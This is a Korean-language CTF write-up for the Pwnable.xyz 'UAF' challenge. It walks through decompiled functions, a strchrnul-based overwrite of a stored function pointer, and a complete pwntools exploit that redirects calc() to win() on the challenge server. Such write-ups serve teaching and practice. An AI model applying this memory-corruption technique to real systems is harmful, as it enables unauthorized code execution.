tmxklab

[Pwnable.xyz] UAF 본문

War Game/Pwnable.xyz

[Pwnable.xyz] UAF

tmxk4221 2020. 9. 9. 21:50

1. 문제

nc svc.pwnable.xyz 30015

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  initialize_game();
  printf("Name: ");
  read(0, cur, 0x7FuLL);
  while ( 1 )
  {
    print_menu();
    switch ( (unsigned __int64)(unsigned int)read_int32() )
    {
      case 0uLL:
        return 0;
      case 1uLL:
        (*((void (**)(void))cur + 17))();
        break;
      case 2uLL:
        save_game();
        break;
      case 3uLL:
        delete_save();
        break;
      case 4uLL:
        printf("Save name: %s\n", cur);
        break;
      case 5uLL:
        edit_char();
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}
  • Name에 대한 입력을 read()를 통해 0x7f까지 cur에 저장할 수 있다.
  • 총 5개의 메뉴를 확인할 수 있는데 case 1에 cur+17(cur→calc())을 호출하는데 이 부분이 수상해보인다.

 

3-2) initialize_game()

char *initialize_game()
{
  char *result; // rax

  cur = (char *)malloc(0x90uLL);
  *((_QWORD *)cur + 16) = malloc(0x90uLL);
  *((_QWORD *)cur + 17) = calc;
  result = cur;
  saves[0] = (__int64)cur;
  return result;
}
  • cur(전역변수)에 malloc(0x90, cur+16에 malloc(0x90), cur+17에 calc()주소 저장
  • saves[0]에 cur포인터 저장

 

3-3) save_game()

int save_game()
{
  __int64 v0; // rbx
  __int64 v1; // rdx
  __int64 v2; // rax
  int i; // [rsp+Ch] [rbp-14h]

  for ( i = 1; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v2) = puts("No space.");
      return v2;
    }
    if ( !saves[i] )
      break;
  }
  saves[i] = (__int64)malloc(0x90uLL);
  v0 = saves[i];
  *(_QWORD *)(v0 + 128) = malloc(0x90uLL);
  if ( !*(_QWORD *)(saves[i] + 136) )
    *(_QWORD *)(saves[i] + 136) = *((_QWORD *)cur + 17);
  printf("Save name: ");
  read(0, (void *)saves[i], 0x80uLL);
  v1 = i;
  v2 = saves[v1];
  cur = (char *)saves[v1];
  return v2;
}
  • saves[i]에 값이 존재하지 않으면 해당 주소에 malloc(0x90)을 한다.
  • 그리고 saves[i] + 128위치에도 malloc(0x90)을 한다.
  • saves[i] + 136위치에 값이 존재하지 않으면 cur + 17을 넣는다.
  • 아까전에 malloc(0x90)받은 곳인 saves[i]에 read를 통해 0x80만큼 데이터를 입력받는다.
  • 마지막으로 cur에 saves[i]을 넣는다.

 

3-4) delete_save()

__int64 *delete_save()
{
  __int64 *result; // rax
  int v1; // [rsp+Ch] [rbp-14h]
  void *v2; // [rsp+10h] [rbp-10h]

  printf("Save #: ");
  v1 = read_int32();
  if ( v1 < 0 || v1 > 9 )
    puts("Invalid");
  result = (__int64 *)saves[v1];
  if ( result )
  {
    v2 = *(void **)(saves[v1] + 128);
    free((void *)saves[v1]);
    *(_QWORD *)(saves[v1] + 128) = 0LL;
    free(v2);
    result = saves;
    saves[v1] = 0LL;
  }
  return result;
}
  • 인덱스가 0 ~ 9 범위안의 saves[i]가 존재하면 saves[v1]을 free하고 saves[v1]+128에 널 값을 넣고 saves[v1]+128을 free한다. 마지막으로 saves[v1]에 널 값을 넣는다.

 

3-5) edit_char()

int edit_char()
{
  int result; // eax
  unsigned __int8 v1; // [rsp+6h] [rbp-Ah]
  char v2; // [rsp+7h] [rbp-9h]

  puts("Edit a character from your name.");
  printf("Char to replace: ");
  v1 = getchar();
  getchar();
  printf("New char: ");
  v2 = getchar();
  result = getchar();
  if ( v1 && v2 )
  {
    result = (unsigned __int64)strchrnul(cur, v1);
    if ( result )
      *(_BYTE *)result = v2;
    else
      result = puts("Character not found.");
  }
  return result;
}
  • 바꿀 글자에 대한 입력을 v1에 받는다.
  • 새로운 글자에 대한 입력을 v2에 받는다.
  • v1, v2 둘다 값이 존재하면 strchrnul의 파라미터로 들어간다.
    • strchrnul() 설명 : 문자열 cur에서 v1의 글자를 발견하면 발견된 첫번째 항목에 대한 cur포인터를 result에 반환하고 발견되지 않으면 cur포인터의 끝 즉, 문자열의 끝은 널 바이트이므로 널 포인터를 가리키는 포인터를 반환
  • result가 존재하면(발견된 cur 포인터) result포인터에 v2를 넣는다.
    • 근데 result에 저장된 값은 널 값이 아니라 cur 포인터이므로 문자열을 못찾았다고 result에 널 값이 저장되는 것이 아니라 널 바이트를 가리키는 cur포인터이므로 무조건 result에 v2를 넣을 수 있음

 

전역 변수)

  • cur : 0x6022c0
  • saves : 0x6022e0

 


2. 접근방법

 

처음에 문제이름을 보고 UAF(Use After Free)를 이용한 문제인 줄 알았으나 해당 코드를 분석해보니 malloc사이즈는 정해져있지 않고 0x90만큼만 malloc하는 것을 확인할 수 있다 → save_game()

 

따라서, free할 경우 small bin사이즈이므로 먼저 unsorted bin에 들어가게 되고 동일한 청크 사이즈(0x90)을 free하게 되면서 결국엔 consolidate되어 청크 병합이되어 재할당시(0x90만큼) 청크 사이즈를 만족하지 못하여 해당 청크를 재할당 받을 수 없다.

 

1) cur 구조

  • main함수에 initialize_game()을 실행하고 난 이후의 상황이다.
  • cur과 saves에 malloc할당 받은 청크의 주소가 저장되어 있다.
  • 그리고 cur+16에는 0x603330이 저장되어 있고 cur+17에는 0x400d6b, calc()의 주소가 저장되어 있다.

 

2) edit_char()

edit_char은 cur에 있는 문자열에서 어떤 문자를 찾아서 내가 원하는 문자로 변경하는 기능을 한다.

따라서, edit_char()을 이용해서 cur+17에 존재하는 calc()의 주소 값 대신에 win()주소로 변경하면 main함수에서 cur+17를 호출하는 부분을 통해 익스할 수 있을 것이다.

 

** 주의할 점 **

cur + 17에 calc()의 주소가 존재하는데 strchrnul()를 이용하여 cur의 문자열을 찾을 때 문자열의 끝은 널 바이트로 인식하므로 cur에서 cur + 17까지 존재하는 널 바이트 제거 작업을해줘야한다.

 

① read(0, cur, 0x7f) 를 통해 0x7f만큼 더미 값을 채워준다.(0x0d, 0x6b에 중첩되지 않도록)

② edit_char()를 통해 아직 남아있는 널 바이트를 제거해준다.

→ 해당 문자를 발견하지 못하면 문자열의 끝에(널 바이트가 존재하는 곳) 어떤 문자를 넣을 수 있으므로

 

 

 


3. 풀이

1) win(), calc()주소

  • 하위 2bytes만 차이나므로 cur→calc()의 하위 2bytes를 변경해주자

 

2) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30015)
#gdb.attach(p)

def change(old, new):
    p.sendafter("> ", str(5))
    p.sendlineafter("replace: ", old)
    p.sendlineafter("char: ", new)

# 1. remove null byte(1)
p.sendafter("Name: ", "A"*0x7f)

# 2. remove null byte(2)
for i in range(5):
    change('Z', 'A')

# 3. change calc() -> win()
change('\x6b', '\xf3')
change('\x0d', '\x0c')

# 4. execute win()
p.sendlineafter("> ", str(1))

p.interactive()

 

 

3) 실행결과

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] fclose  (0) 2020.09.09
[Pwnable.xyz] message  (0) 2020.09.09
[Pwnable.xyz] BabyVM  (0) 2020.06.23
[Pwnable.xyz] iape  (0) 2020.05.03
[Pwnable.xyz] strcat  (0) 2020.05.03
Comments